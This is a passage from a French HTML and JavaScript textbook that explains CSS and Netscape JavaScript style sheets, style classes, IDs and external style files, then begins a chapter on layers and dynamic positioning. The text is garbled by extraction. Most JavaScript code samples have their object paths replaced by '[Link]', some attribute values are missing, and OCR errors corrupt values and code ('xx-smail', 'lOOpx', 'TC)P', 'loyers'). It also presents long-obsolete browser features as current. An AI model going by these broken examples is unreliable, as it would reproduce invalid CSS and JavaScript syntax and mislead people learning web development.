un fichier séparé. Ce fichier, la feuille de style, pourra être référencé par un ensemble de
documents HTML, garantissant ainsi une homogénéité typographique et de présentation
des pages.
Il existe maintenant deux façons de décrire des feuilles de style. La première répond à la
norme CSS qui se borne à un langage déclaratif comme HTML ; la seconde, JASS, est

99
 Programmation HTML et JavaScript

issue du langage JavaScript. Cette seconde méthode est plus orientée pour une manipula­
tion dynamique des propriétés décrivant un style. Les deux méthodes font intervenir la
notion de mise en cascade qui permet d'imbriquer dans un même document plusieurs
styles avec un niveau de priorité. Ainsi, un style défini dans une page HTML sera généra­
lement plus prioritaire qu'un style défini dans un fichier externe. A terme, le lecteur
pourra même définir ses propres styles : il pourra lire son journal en choisissant la taille,
la police, la couleur des caractères...
Comment définit-on un style ? Nous avons vu qu'un nouveau paragraphe était défini à
l'aide de la balise <P>. Appliquer un style à un paragraphe, c'est définir un ensemble de
caractéristiques pour ce paragraphe. Ces définitions s'appliquent ensuite automatique­
ment chaque fois qu'une balise <P> est rencontrée.

<STYLE>
Cette balise définit une zone dans la région d'en-tête (<HEAD>) du document HTML où
on trouve toutes les définitions de style du document. Comme ces définitions peuvent
être décrites en langage CSS ou en JavaScript, on aura recours à l'attribut TYPE pour
indiquer le mode de description utilisé.

L'attribut TYPE
Cet attribut de la balise <STYLE> peut prendre les valeurs suivantes :
• text/css pour une description à la norme CSS
• text/javascript pour une description en langage JavaScript

<HEAD>
<STYLE TYPE="text/css">ou<STYLE TYPE="text/javascript">

</STYL E></STYL E>

Examinons maintenant à travers un exemple simple, comment définir un style de para­

graphe où la couleur du texte serait bleue et où la taille des caractères serait de 16 points.

Dans une syntaxe CSS, on aurait :

<STYLE TYPE="text/css">
P {font-size: 16pt; color: blue;}
</STYLE>

P indique que l'on définit un style pour les paragraphes (<P>). Toutes les définitions sont
faites entre accolades { }. On spécifie le mot clé font-size puis, après les deux points (:)
la taille de la fonte et son unité, le point (pt). Il en va de même pour la couleur.

Dans une syntaxe JavaScript, on aurait :

<STYLE TYPE="text/javascript">
[Link]=16;
[Link]="blue";

100
Les feuilles de style

< / STYLE>

On retrouve dans ce mode de description une syntaxe conforme au nommage objet utilisé
dans JavaScript. Le mot clé tags est là pour indiquer que l'on définit une règle de style
valable sur l'ensemble du document. Dans la taille, on ne doit pas indiquer l'unité. Quant
à la couleur, elle est définie par une chaîne de caractères et doit donc être spécifiée entre
guillemets pour ne pas être interprétée comme une variable. On peut, si on le souhaite,
utiliser des variables :
var jaune = "yellow";
[Link]=jaune;
Il est important de noter que les mots-clé s'écrivent différemment : font-size et fontSize
D'une manière générale le mot clé est le même. En syntaxe CSS, un tiret sépare le nom
du qualificatif qui lui est associé (font et size ou font et weight). Dans la syntaxe
JavaScript, les deux mots sont collés, mais le second commence par une capitale. Cette
différence s'explique par le fait que CSS n'a pas la contrainte d'utiliser un langage de
programmation et peut ainsi utiliser le signe moins. Il faut être très prudent avec l'ortho­
graphe des mots-clés qui sont sensibles à la casse. De même, on aura soin dans les deux
normes de séparer les définitions par un point-virgule.

Classes de style
On peut ainsi définir, pour tout élément de structure HTML (<h1> ... <hn>, <block-
quote>, <cite>, etc.), un style particulier. Mais, lorsque l'on définit un style pour les para­
graphes, il s'applique à tous les paragraphes du document. Afin d'accroître la précision
des réglages de typographie, il est possible d'adjoindre autant de classes particulières que
nécessaire pour un élément HTML donné, ou de générer des classes s'appliquant à
n'importe quelle balise HTML.
Les exemples suivants définissent une classe "rouge" et une classe "noir" qui seront vala­
bles pour toutes les balises HTML référençant cette classe, alors que la classe "bleu" ne
sera valable que pour la balise <ADDRESS> et la classe grasRouge que pour la balise de
paragraphe <P> :

<STYLE TYPE="text/css”>
.rouge { color: red }
.noir { color: black }
[Link] { color : blue}
[Link] { color: red; font-weight: bold }
</STYLE>

ou dans une syntaxe JavaScript :

<STYLE TYPE="text/javascript">
[Link] = "red";
[Link] = "black";
[Link] = "blue";
[Link] = "red";
[Link] = "bold";

101
 Programmation HTML et JavaScript

</ STYLE>

En mode CSS, si l'on omet le nom d'une balise HTML et que l'on commence par un
point, la définition peut être utilisée avec n'importe quelle balise. En mode JavaScript, le
mot-clé classes est nécessaire pour définir une classe et le mot-clé all permet de spécifier
l'ensemble des éléments HTML.

L'attribut CLASS
Cet attribut permet d'affecter une classe spécifique à une balise HTML ; il recevra donc
toujours en paramètre le nom d'une classe existante.
Remarquons que si la définition des styles connaît deux normes (CSS et JavaScript),
l'utilisation des styles est heureusement unique :

<P CLASS = bleu>Ce texte est bleu !

<P CLASS = grasRouge> et celui ci est rouge et gras ...
<H1 CLASS = grasRouge> Mais celui-ci reste standard car la classe
grasRouge ne s'applique qu'au paragraphe ...

Ainsi, l'exemple précédent fonctionne aussi bien avec une définition de type CSS
qu'avec une définition de type JavaScript.

Sous-classe de style (ID)

La définition d'une classe peut être relativement longue si l'on veut régler un grand nom­
bre de paramètres. Imaginons que l'on souhaite deux types de paragraphe dont seule la
couleur diffère. On pourrait certes dupliquer la classe et changer uniquement la définition
de couleur, mais la duplication de code est toujours source de problèmes... Il est donc
plus simple de définir un modificateur agissant juste sur le ou les paramètres qui diffè­
rent.

<STYLE TYPE=text/css>
.premiere {color: red; font-size: 20pt; font-weight: bold}
#vert {color: green}
</ STYLE>

Le caractère # est l'indicateur de définition d'un ID en mode CSS. On peut le faire précé­
der d'un signe HTML pour restreindre la portée de l'ID à cette balise HTML. Les défini­
tions se font de manière standard, entre accolades :
P#vert {color: green}
n'autorise l'ID vert que dans les paragraphes.

102
Les feuilles de style

Dans une syntaxe JavaScript :

<STYLE TYPE=text/javascript>
[Link] = "red";
[Link]=20;
[Link]="bold" ;
[Link]="green";
</STYLE>
L'attribut ID
Cet attribut peut être utilisé pour réaliser une exception dans une classe ou bien être uti­
lisé seul ; dans ce dernier cas, il ne présente pas de différence fondamentale avec une
classe.

<P CLASS=premiere>Ce texte est en 20 point, rouge et gras

<P CLASS=premiere ID=vert>Celui ci en 20 points gras mais vert !
<P ID=vert>ce dernier texte utilise la police par défaut, mais sa cou
leur est verte...

<SPAN> avec l'attribut CLASS

Si l'on veut appliquer les définitions de style d'une classe à autre chose qu'une balise
HTML, c'est-à-dire à un bloc de texte non balisé, on dispose de la balise <SPAN>. Celle-
ci permet de définir un bloc de texte auquel s'appliquera le style référencé avec l'attribut
CLASS. Dans l'exemple suivant, on a réalisé un logotype en trois couleurs :

<html>
<head><title>Les styles</title>
<style type=text/javascript>
[Link] = 36;
[Link] ="sans-serif";
[Link]= "black";
[Link](1);
classes.INV_TITRE.[Link]="white";
[Link]="white";
[Link]="red”;
[Link]="black";
</style>
</head>
<body>
<SPAN CLASS=TITRE>
<SPAN CLASS=BLANC>&nbsp;HTML<SPAN CLASS=ROUGE>_
<SPAN CLASS=INV_TITRE>_<SPAN CLASS=NOIR>STYLES&nbsp;
< /SPAN></SPAN></SPAN></SPAN></SPAN>
</ body >< / html >

103
 Programmation HTML et JavaScript

Groupement
Afin de simplifier l'écriture, il est possible de grouper plusieurs balises HTML sur une
même liste de définition :

<STYLE TYPE=text/Css>
H1, H2, H3 {color : red}
</STYLE>

Notez qu'une virgule sépare chacune des balises. Il n'y a pas de définition de groupe­
ment en JavaScript.

Sélection contextuelle
Il est possible de définir dans quel contexte le style va s'appliquer. Dans l'exemple sui­
vant, on souhaite que seules les citations (CITE) définies dans des titres de niveau 3 (H3)
soient de couleur bleue :

<STYLE TYPE=TEXT/CSS>
H3 CITE {color: blue}
</ STYLE>
<BODY>
<H3>Hello &agrave; l'encre noire !</H3>
<H3>Hello toujours en noir <CITE> mais ceci est en bleu</CITE></H3>
<CITE>et cela en noir ...</cite>

Remarquez, qu'à la différence du groupement, il n'y a pas de séparateur entre les balises.
En JavaScript, le codage aurait été le suivant :

104
Les feuilles de style

<STYLE TYPE=text/javascript>
contextual (tags.H3, [Link]).color = "blue"
</STYLE>

L'héritage des styles

Lorsqu'on imbrique d'autres balises à l'intérieur de balises définissant un style, elles
héritent du style défini dans les balises de niveau supérieur :

<H1 CLASS=vertCactus>Opuntia microdasys <EM>craint</EM> le gel !

Le mot « craint » encadré par la balise <EM> hérite des définitions faites dans le style
vertCactus. Si la classe vertCactus définit une couleur verte, alors le mot « craint » est
écrit avec cette couleur.

Définitions dans des fichiers externes

Le but des feuilles de style est de créer des définitions qui s'appliqueront à un ensemble
de pages d'un serveur Web afin d'obtenir un style, une présentation homogène sur toutes
les pages. Il serait donc pénible de recopier dans chaque document HTML les mêmes
définitions de style.
On va donc décrire dans un fichier spécifique tous les styles, classes, et ID que l'on réfé­
rencera ensuite dans les documents HTML.

Le fichier de style
Ce fichier ne contient pas de balise <STYLE>. Il ne contient que les définitions dans
l'une ou l'autre des syntaxes décrites précédemment et sans aucune référence quant au
langage utilisé pour faire ces définitions (CSS ou JavaScript). On peut inclure des com­
mentaires dans un fichier de style. S'il est à la norme CSS, les commentaires sont inclus
entre les séquences /* et */ et peuvent comporter une ou plusieurs lignes. En mode
JavaScript, la même méthode est reconnue, mais de plus, toute ligne commençant par la
séquence // est aussi considérée comme un commentaire. Le nommage du fichier n'a pas
de règles ; il n'est pas du tout nécessaire de l'appeler avec une extension de type .htm ou
.html.

/* Styles pour les pages de la rubrique "nouvelles"

(ces styles doivent etre utilises en mode CSS)
*/
.premiere {color: red; font-size: 20pt; font-weight: bold}
#vert {color: green} /* execption*/

OU

// Styles pour les pages de la rubrique "nouvelles"

105
 Programmation HTML et JavaScript

// (ces styles doivent etre utilises en mode JavaScript)

[Link]="red";
[Link]=20;
[Link]="bold";
[Link]="green";

<LINK> utilisation des fichiers externes

Cette balise aura à terme une portée plus grande et permettra de référencer d'autres
fichiers externes que les fichiers de style. Trois attributs sont nécessaires pour référencer
le fichier de style externe :
<LINK REL=stylesheet TYPE-text/norme HREF=url_du fichier_style>

L'attribut REL=stylesheet
Il permet d'indiquer que le fichier que l'on veut utiliser est un fichier de styles. A l'ave­
nir, la balise <LINK> servira à référencer d'autres types de fichiers.

L'attribut TYPE
Comme il existe au moins deux normes de définitions des styles et que, dans les fichiers
des styles on ne spécifie pas la norme, on va utiliser cet attribut pour l'indiquer :
• text/css
• text/javascript

L'attribut HREF
Comme chaque fois qu'il apparaît, cet attribut va pouvoir indiquer par sa valeur l'adresse
(l'URL) du fichier externe contenant les styles.

Le fichier HTML Le fichier du style(exStyl)

106
Les feuilles de style

Il existe une seconde façon de référencer un fichier de style externe. Elle s'utilise dans la
balise <STYLE> et est similaire à l'appel d'un fichier image (balise <IMG>).
<STYLE TYPE=text/norme SRC=url_du_fichier_de_styles></STYLE>
Enfin, il est tout à fait possible de mixer dans un même document HTML des appels à
des fichiers externes, qu'ils soient définis en norme CSS ou JavaScript, et des définitions
internes.

Définition ponctuelle d'un style dans une balise

Il peut être nécessaire dans un document HTML de donner un style particulier à un élé­
ment, ce style, utilisé une seule fois, ne justifie pas qu'il soit décrit au niveau des déclara­
tions générales. Il est donc possible d'inclure dans une balise quelconque l'attribut
STYLE.

L'attribut STYLE

<P STYLE="font-size=50; color=red"> paragraphe Rouge en corps 50</p>

Comme le montre l'exemple ci-dessus, l'attribut STYLE ne permet pas de déclaration

quant à la norme qui va être utilisée. Il est recommandé dans ce cas d'utiliser une syntaxe
de type CSS.

Les définitions de style

Nous venons de décrire comment utiliser des feuilles de style dans un document HTML,
nous allons maintenant examiner les possibilités offertes pour influencer la présentation
du document. Rappelons que chacun des mots-clés s'écrit différemment en CSS ou en
JavaScript.

Les polices de caractères

font-size (fontSize) - taille des caractères
Permet d'intervenir sur la taille des caractères. On devra lui associer une des valeurs sui­
vantes :
• En valeur absolue, on peut indiquer soit directement la taille en point, soit une des
valeurs suivantes (de la plus petite taille à la plus grande) : xx-smail, x-smail, smail,
medium, large, x-large, xx-large.
• En valeur relative, on indiquera soit larger pour prendre la fonte directement de la
taille au-dessus, soit smailer pour la taille au-dessous. On peut aussi indiquer un
pourcentage de la taille courante.
Exemples en mode CSS :
P {font-size: xx-large)

107
 Programmation HTML et JavaScript

P {font-size: 120%} /* augemntation de 120% */

P {font-size: 1.2 em} /* augmentation de 120%*/
P {font-Size: 24pt}
Exemples en mode JavaScript :
[Link] = "xx-large";
[Link] = "120%";
[Link] = "1.2em";
[Link] = 24;
[Link] = "24pt";
font-style (fontStyle)
Une police de caractères est définie soit en normal (droit ou régulier), soit en oblique
(oblique ou italique). Les valeurs à associer sont donc : normal ou italic (le mot oblique
est aussi reconnu).

font-family (fontFamily) - famille de caractères

Par famille de fonte, on entend essentiellement les caractères avec empattement (Times
par exemple), sans empattement (comme Helvetica), non proportionnelles (Courier),
manuscrites (Kunstler-script) ou fantaisie (Western).
Les valeurs à indiquer seront : serif (police à empattement), sans serif (police sans
empattement), cursive (police manuscrite), monospace (police non proportionnelle) et
fantasy (police fantaisie).

font-weight (fontWeight) - graisse des caractères

Pour un caractère standard, la valeur à indiquer est normal. Si l'on veut un caractère gras
on indique alors bold, et on peut alors spécifier un niveau de graisse compris entre 100 et
900. Si l'on veut travailler relativement à la graisse des caractères en cours, on peut utili­
ser bolder (plus gras) ou lighter (plus clair).

Propriétés des textes

line-height (lineHeight) - interligne
L'interligne peut être spécifié directement en points pt ou en pourcentage % . Si l'on ne
donne ni l'unité ni le pourcentage, le nombre est interprété comme un multiplicateur.
Ainsi, 1.2 ou 1.2em multiplie la valeur par défaut de l'interligne par 1.2 ; en revanche
20pt donnera un interligne de 20 points. Il faut noter que, d'une manière générale,
lorsqu'on travaille en relatif (pourcentage), les définitions incluses héritent de la modifi­
cation d'interligne.
P { line-height: 20pt }
text-align (textAlign) - alignement, justification
Comme dans un traitement de texte, on peut aligner le texte à gauche avec la valeur left,
à droite avec right, centrer avec center ou le justifier avec justify.
P { text-align: justify }

108
Les feuilles de style

text-indent (textlndent) - indentation

Le retrait du texte sur la première ligne d'un bloc se détermine en points ou en pourcen­
tage, de la même façon que pour l'interligne. On peut appliquer un retrait ou une indenta­
tion à la première ligne d'un paragraphe P d'un bloc Hn.
P { text-indent: 2em }
text-transform (textTransform) traitement de la casse
Cette option est très intéressante lorsque le texte à afficher n'est pas composé mais plutôt
issu d'un traitement automatique, une base de données par exemple. On peut forcer le
passage automatique en minuscules par la valeur lowercase, en capitales par la valeur
uppercase, ou mettre le premier caractère seulement en majuscules par la valeur capita-
lize.
H1 { text-transform: capitalize }

Le bloc
Toute balise provoquant un espace de type paragraphe (<P>, <H1>...) définit un bloc qui
peut être positionné précisément dans une page et dont on peut choisir la couleur ou
l'image en fond. Ce positionnement précis permet la conception de documents avec une
mise en page élaborée, très proche du document papier. Mais attention ! le positionne­
ment est relatif par rapport au dernier élément inscrit dans la page.

Il est possible de fixer la taille exacte du bloc en hauteur height et en largeur width ainsi
que la couleur du fond background-color (backgroundColor), ou de disposer une
image en fond background-image (backgroundlmage).
Les marges peuvent être choisies de façon indépendante :
• la marge à droite : margin-right (marginRight)
• la marge à gauche : margin-left (marginLeft)
• la marge en haut : margin-top (marginTop)
• le marge en bas : margin-bottom (marginBottom)
On peut aussi régler le blanc autour du bloc :
• espace à droite : padding-right (paddingRight)
• espace à gauche : padding-left (paddingLeft)
• espace en haut : padding-top (paddingTop)
• esapce en bas : padding-bottom (paddingBottom )

109
 Programmation HTML et JavaScript

La bordure est entièrement paramétrable grâce au mot-clé border-style (borderStyle)

où le paramètre borderStyle permet d'indiquer le style du cadre :
• avec la valeur none pour pas de bordure,
• avec la valeur 3D pour un effet de relief,
• avec la valeur solid pour un trait plein.
Chacun des traits composant la bordure peut avoir une taille différente :
• border-top-width (borderTopWidth) pour le segment du haut,
• border-right-width (borderRightWidth) pour le segment de droite,
• border-bottom-width (borderBottomWidth) pour le segment du bas,
• border-left-width (borderLeftWidth) pour le segment de gauche,
La couleur de la bordure est définie par border-color (borderColor).

110
 Les styles d'une page HTML sont définis entre les balises <STYLE> et
</STYLE>. L'attribut TYPE de cette balise prendra la valeur text/css
RÉSUMÉ

ou text/javascript selon que l'on utilisera l'une ou l'autre des deux nor­
mes.
Dans la norme CSS (<STYLE TYPE="text/css">, un style se définit par
la nom de la balise (P, H1, CITE par exemple) suivi, entre accolades {}
des définitions afférentes à cette balise. On peut mettre entre accola­
des autant de définitions que nécessaire en les séparant par un point-
virgule (;). Chaque définition est constituée d'un mot-clé (font-size,
color par exemple) séparé de sa valeur par deux points (:).
On peut grouper plusieurs balises sur une même définition, il suffit
pour cela de séparer les balises par une virgule.
Il est possible d'indiquer que le style ne s'applique à une balise que
lorsque celle-ci est incluse dans une autre balise (sélection contex­
tuelle). Pour ce faire, on fait précéder la définition de la liste des bali­
ses, mais cette fois le séparateur n'est pas la virgule mais l'espace.

Dans la norme JavaScript (<STYLE TYPE="text/javascript">), la syn­

taxe est plus près du nommage objet. On déclare donc pour une balise
donnée le mot-clé tags, qui indique que l'on travaille sur une balise.
On indique ensuite, derrière un point, la balise (P, H1, CITE par exem­
ple) ; enfin, toujours séparée par un point, la propriété de la balise
(fontSize, color par exemple). L'opérateur égale = permet d'affecter
une valeur.
En JavaScript la sélection contextuelle commence par le mot-clé
contextual suivi entre parenthèses de la liste des balises. Chaque
balise est précédée du mot clé tags et séparée de la précédente par
une virgule.

Il existe une notion de classes permettant d'affecter un style à la

demande. <P CLASS=laUne> permet par exemple d'affecter un style
particulier (laUne) ponctuel à la balise <P>.

Une classe est définie par un nom précédé d'un point (.) en mode CSS
et par le mot-clef classes en mode JavaScript. Les définitions sont fai­
tes comme pour un style de balise.
Afin d'augmenter la souplesse, il existe un niveau supplémentaire de
réglage, l'ID. Il permet par exemple de modifier ponctuellement une
valeur définie dans une classe.

III
 Programmation HTML et JavaScript

En mode CSS, un ID est défini par un nom précédé du caractère dièse

(#), tandis qu'en mode JavaScript l'ID est défini par le mot-clef ids.
On peut ainsi combiner, dans une même balise, CLASS et ID.

Entre les balises <SPAN CLASS= ... ID=...> et </SPAN>, on peut

affecter un style à un texte non standard (non balisé).

Il est possible, grâce à l'attribut STYLE, de définir ponctuellement un

style pour une balise (<P STYLE="fontSize=50">).

Enfin, la balise <LINK REL="stylesheet" TYPE="text/

javascript_ou_css" HREF="url_du_fichier"> permet de référencer
un fichier externe contenant les styles du document.

Les propriétés permettant d'agir sur les textes sont :

Mode CSS Mode JavaScript Réglage
font-size fontSize taille des caractères
font-Style fontStyle normal ou italique
font-family fontFamily empattement, proportionnalité
font-weight fontWeight graisse des caractères
line-height lineHeight interligne
text-align textAlign alignement, justification
text-indent textlndent décalage première ligne
text-transform textTransform capitalisation1, casse

Toute balise définissant un espace vertical de type paragraphe génère

automatiquement un bloc dont on peut contrôler la position :
Mode CSS Mode JavaScript Réglage
margin-right marginRight marge à droite
margin-left marginLeft marge à gauche
margin-top marginTop marge en haut
margin-bottom marginBottom marge en bas

padding-right paddingRight blanc à droite

padding-left paddingLeft blanc à gauche
padding-top paddingTop blanc en haut
padding-bottom paddingBottom blanc en bas

1. capitalisation : passage du premier caractère d'un mot en capitale

112
 Chapitre 12

Positionnement dynamique

A ce point de l'ouvrage, faisons un bilan des différents documents HTML que nous som­
mes en mesure de produire :
• Des pages statiques comportant images et texte ; lorsqu'elles ont été envoyées par le
serveur, elles ont une apparence immuable. Leur mise en page reste relativement
limitée.
• Des pages que l'on peut qualifier d'interface de saisie, puisqu'elles comportent des
éléments d'entrée accessibles au lecteur (les formulaires). Elles peuvent de façon
limitée se modifier sans nouvelle connexion au serveur grâce à des scripts
(JavaScript). Ces scripts peuvent agir sur certains éléments existant dans la page,
essentiellement les objets du formulaire (listes, champs de saisie, etc.) ou créer de
nouvelles fenêtres (alertes, informations, etc.). Ils ne sont pas en mesure d'intervenir
sur le texte, ne savent pas réorganiser par exemple un formulaire en fonction d'un
premier choix effectué par le lecteur.
• Des pages comportant des animations sont possibles en utilisant des images animées
ou en utilisant des scripts changeant la ressource d'une image, mais il reste très diffi­
cile de jouer sur la transparence ou de faire cohabiter dans une même scène des ima­
ges indépendantes : il n'y a pas de notion de plans (devant/derrière).
Sous la même dénomination Dynamic HTML, Netscape avec Communicator et Microsoft
avec Internet Explorer 4 proposent une nouvelle technologie permettant une gestion plus
souple du contenu et du comportement de la page. Cette technologie consiste en deux
nouveaux concepts simples : les blocs et les couches. Le bloc est intimement lié aux
feuilles de style ; il définit un sous-ensemble de la page pouvant contenir texte, images ou
formulaire, mais s'enrichit de propriétés particulières : marge à gauche, marge à droite,
bordure, couleur, visibilité, etc. Grâce à ces propriétés, il devient possible de placer au
pixel près un bloc dans une page. Mais surtout les pages deviennent modifiables au tra­

113
 Programmation HTML et JavaScript

vers de scripts, ce qui autorise le déplacement de blocs, toujours sans recours au serveur,
et ainsi la création d'animations. Il est possible à tout moment de rendre un bloc visible,
partiellement visible ou invisible. Quant aux couches, elles permettent d'ordonner
l'empilement des blocs dans un espace tridimensionnel : premier plan, second plan,
arrière-plan.
On l'aura compris : grâce au positionnement dynamique de blocs répartis sur des cou­
ches dont on peut contrôler la visibilité, tout devient possible. Le texte ou le bouton qui
n'existait pas sur la page apparaît d'un clic ou un mouvement de souris et cela sans qu'il
soit nécessaire de redessiner (ou recharger) une nouvelle page. Il est cependant important
de comprendre que les éléments qui apparaissent ou disparaissent au gré des actions du
lecteur existaient dans la page dès son chargement. On ne crée pas des éléments par cette
méthode, on rend visibles ou invisibles des éléments qui ont été préalablement décrits
dans le code HTML.
Il est enfin très important de rappeler que HTML n'est dynamique que grâce aux scripts
qui seront associés ! On n'animera pas une page si l'on ne décide pas de faire l'effort de
programmer un peu...
Avec une approche légèrement différente, Netscape et Microsoft en se référant tous deux
aux recommandations du W3C, intègrent ces nouvelles techniques dans leurs browsers.

Les couches

Figure 27 - Empilage de couches

114
Positionnement dynamique

On peut imaginer construire plusieurs documents HTML qui s'affichent sur une même
page du browser. Chacun des documents est empilé selon un axe Z et peut contenir des
blocs de texte, d'images ou de formulaires décrits dans une couche (layer) pouvant être
transparente, visible ou invisible. Chacune des couches peut à son tour accueillir d'autres
couches, et ainsi de suite.
Définir une couche, c'est au minimum lui donner un nom, et déterminer sa position dans
la page. Si l'on souhaite positionner la couche à une adresse graphique précise dans la
page, on utilisera la syntaxe position: absolute et on complétera en donnant au mini­
mum les coordonnées du point en haut et à gauche, LEFT (ou X) et TOP (ou Y). La syn­
taxe position: relative indique que la couche se situera à la suite de la partie du
document qui est construit hors de l'ensemble des couches.

Bien sûr, la définition d'une couche peut être faite en mode CSS ou en mode JavaScript.

Mode CSS
En mode CSS, les caractéristiques de la couche sont codées dans la zone STYLE ; le
nom de la couche est précédé du caractère #.
<STYLE TYPE=text/css>
#coucheA {position: absolute; left: 50px; top: 50px;}
#coucheB {position: absolute; left: 200px; top: lOOpx; }
#coucheC {position: relative;}
</ STYLE>

<SPAN> avec attribut ID

La construction du contenu de la couche se fait entre les balises <SPAN>, dont l'attribut
ID référence une couche précédemment définie dans la zone STYLE.

<BODY>
<SPAN ID=coucheA>

</SPAN>
<SPAN ID=coucheB>

</SPAN>

115
 Programmation HTML et JavaScript

Mode JavaScript
Dans ce mode, une seule balise se substitue à la définition de couche en zone STYLE et à
la balise <SPAN> :

<LAYER> <ILAYER>
Les attributs ID, TOP et LEFT
Cette balise apparaît dans le corps du document. Elle admet l'attribut ID pour nommer la
couche ainsi que les attributs de positionnement LEFT et TOP. On utilisera LAYER
pour un positionnement absolu dans la page, et ILAYER pour un positionnement relatif
au reste du document défini hors couche. Si le document hors couche ne contient rien au
moment où l'on utilise ILAYER, le contenu décrit dans cette couche se situe à l'adresse
0,0 du browser (tout en haut à gauche).

<BODY>
<LAYER ID=couche A LEFT=50px TC)P=50px>

</LAYER>
<LAYER ID=coucheB LEFT=200px TOP=100px>

</LAYER>

Les attributs Z-INDEX, ABOVE et BELOW

Normalement, les couches s'empilent du dessous vers le dessus dans l'ordre où elles sont
créées. Il est possible de bouleverser cet ordre à l'aide des attributs suivants :
• Z-INDEX, auquel on attribue un nombre, permet de classer les couches en mettant le
plus au fond la couche dont l'index est le plus faible. Ainsi, la couche dont Z-
INDEX=2 se trouve au-dessus de la couche dont le Z-INDEX=1.
• ABOVE (dessus) et BELOW (dessous) fonctionnent différemment ; la valeur qu'ils
prennent est le nom d'une couche qui doit déjà exister :

<LAYER ID=coucheA LEFT=50px TOP=5(Dpx >

<H1><FONT COLOR= "red">HELLO</H1>
</LAYER>
<LAYER ID=coucheB LEFT=50px TOP=50px ABOVE=coucheA>
<H1>HELLO</H1>
</LAYER>

Dans l'exemple ci-dessus, si l'on fait abstraction du paramètre ABOVE, on devrait voir
le mot HELLO écrit en noir puisqu'on écrit dans chaque couche le mot à la même place
(superposition exacte des mots) et que la couleur rouge est définie dans la première cou­
che (donc dessous). Or dans la couche B, on indique grâce à l'attribut above que la cou­
che A est dessus. Finalement, le mot HELLO apparaît en rouge.

116
Positionnement dynamique

Petite astuce : on peut remarquer dans cet exemple que si l'on décale un peu (1 ou 2
pixels) le texte rouge vers le haut et à gauche, on donne un effet d'ombrage au mot.

Nous verrons, dans les événements JavaScript associés aux couches, que le Z-index per­
met de réaliser facilement un système de fiches à onglets.

Les attributs BGCOLOR et BACKGROUND

Ces attributs permettent de contrôler la couleur de la couche ou de mettre une image en
fond de façon tout à fait similaire à la balise BODY. Si ces attributs sont absents, la cou­
che est transparente.

Les attributs WIDTH et HEIGHT

Ils permettent de définir la largeur (WIDTH) et la hauteur (HEIGHT) de la couche.
Dans le sens horizontal, il n'y a pas de coupure des mots. En conséquence, si un mot (ou
une image) ne tient pas sur la largeur définie, cette largeur est automatiquement étendue.
De même, si l'objet ou le texte nécessite une hauteur plus grande que celle qui est défi­
nie, cette hauteur est étendue à la taille requise. On peut éviter ces ajustements automati­
ques à l'aide de l'attribut CLIP

L'attribut CLIP
Cet attribut permet de fixer la zone de visibilité de la couche, à l'aide des quatre coordon­
nées relatives à la couche indiquées dans l'ordre suivant : LEFT (ou XO), TOP (ou YO),
RIGHT (ou X1), BOTTOM (ou Yl). Ainsi, dans la couche définie comme suit, on con­
traint le contenu de la couche à ne pas dépasser la largeur et la hauteur fixées :
<LAYER ID=PREMIERE LEFT=50 TOP=75 WIDTH=200 HEIGHT=280
CLIP="0,0,200,280">
Toute information hors du champ de visibilité sera perdue ; il n'y a pas de déclenchement
d'ascenseurs !

117
 Programmation HTML et JavaScript

ATTEHTIOH : Les valeurs sont séparées par des virgules. Si l'on ne met pas la chaîne
entre guillemets (" "), il ne faut pas mettre d'espaces avant ou après les virgules.

L'attribut VISIBILITY
C'est en jouant sur la valeur de cet attribut que l'on fait apparaître ou disparaître totale­
ment une couche. Les valeurs peuvent être S
 pour visible,  pour invisi­
ble, et IN  pour indiquer, dans le cas où des couches sont emboîtées, que la
couche hérite de la visibilité de la couche mère.

L'attribut SRC
Le contenu ou document contenu dans la couche peut être défini comme nous venons de
le voir entre les balises <LAYER> et </LAYER>. On peut aussi appeler un document
HTML enregistré dans un fichier externe (un peu comme on appelle une image). La
valeur attribuée à SRC est l'URL du document à inclure.

Le dynamisme des couches

Dans ce que a été décrit précédemment, il n'y a pas de comportement dynamique de la
page. Tout au plus saurait-on maintenant superposer des textes ou des images. La notion
de mouvement, d'apparition ou de disparition d'un élément du décor sera possible car
l'ensemble des paramètres de la couche deviendra modifiable, et la page mise à jour en
temps réel. Ainsi, on va pouvoir agir depuis un script sur la position du bloc (TOP et
LEFT), sur ses dimensions (WIDTH et HEIGHT), sur sa couleur (BGCOLOR), sur sa
partie visible (CLIP), sur sa visibilité (VISIBILITY), sur l'empilage (Z-INDEX), etc.

Les propriétés des couches

• name reflète le nom de la couche spécifiée avec l'attribut ID. Cette propriété n'est
pas modifiable.
• left renvoie la position horizontale de la couche par rapport à la couche parente si
plusieurs couches sont emboîtées ; s'il n'y a pas d'emboîtement, la position s'effec­
tue par rapport à la page.
• top renvoie la position verticale de la couche par rapport à la couche parente si plu­
sieurs couches sont emboîtées ; s'il n'y a pas d'emboîtement, la position s'effectue
par rapport à la page.
• pageX renvoie la position horizontale de la couche par rapport à la page.
• pageY renvoie la position horizontale de la couche par rapport à la page.
• zIndex donne la valeur d'empilement affectée à la couche, 0 si aucune affectation n'a
été faite.
• bgColor indique la couleur donnée à la couche et null si elle est transparente.
• [Link] donne l'URL de l'image utilisée en fond.
• [Link] donne la position verticale du début de la zone de visibilité par rapport à la
couche. Si l'attribut clip n'a pas été utilisé, la valeur est 0.
• [Link] donne la position horizontale du début de la zone de visibilité par rapport à la

118
Positionnement dynamique

couche. Si l'attribut clip n'a pas été utilisé, la valeur est 0.

• [Link] donne la position horizontale de la fin de la zone de visibilité par rapport à
la couche. Si l'attribut clip n'a pas été utilisé, on obtient la valeur qui a été affectée
automatiquement à la couche.
• [Link] donne la position verticale de la fin de la zone de visibilité par rapport à
la couche. Si l'attribut clip n'a pas été utilisé, on obtient la valeur qui a été affectée
automatiquement à la couche.
• [Link] donne la largeur de la zone de visibilité. Si l'attribut clip n'a pas été uti­
lisé, on obtient la valeur qui a été affectée automatiquement à la couche.
• [Link] donne la hauteur de la zone de visibilité. Si l'attribut clip n'a pas été uti­
lisé, on obtient la valeur qui a été affectée automatiquement à la couche.
• visibility renvoie inherit si la visibilité n'était pas spécifiée ; dans ce cas, il faut aller
voir la visibilité du parent pour en déduire si la couche est affichée ou non. Si l'attri­
but est défini dans la balise, visibility renvoie show ou hide selon le cas.
• src donne l'URL du document dans le cas où le document dans la couche provient
d'un fichier externe.

Le nommage des couches dans

la hiérarchie JavaScript
On référence une couche par le mot-clé loyers qui s'inscrit dans la hiérarchie des objets
JavaScript. Ce mot-clé est indicé par le nom de la couche.
[Link]["nom_de_la_couche"]
[Link]["nom_de_la_couche"].layers["nom_de_la_couche"]
pour des couches imbriquées (couche définie à l'intérieur d'une autre couche).

La hiérarchie des objets dans les couches

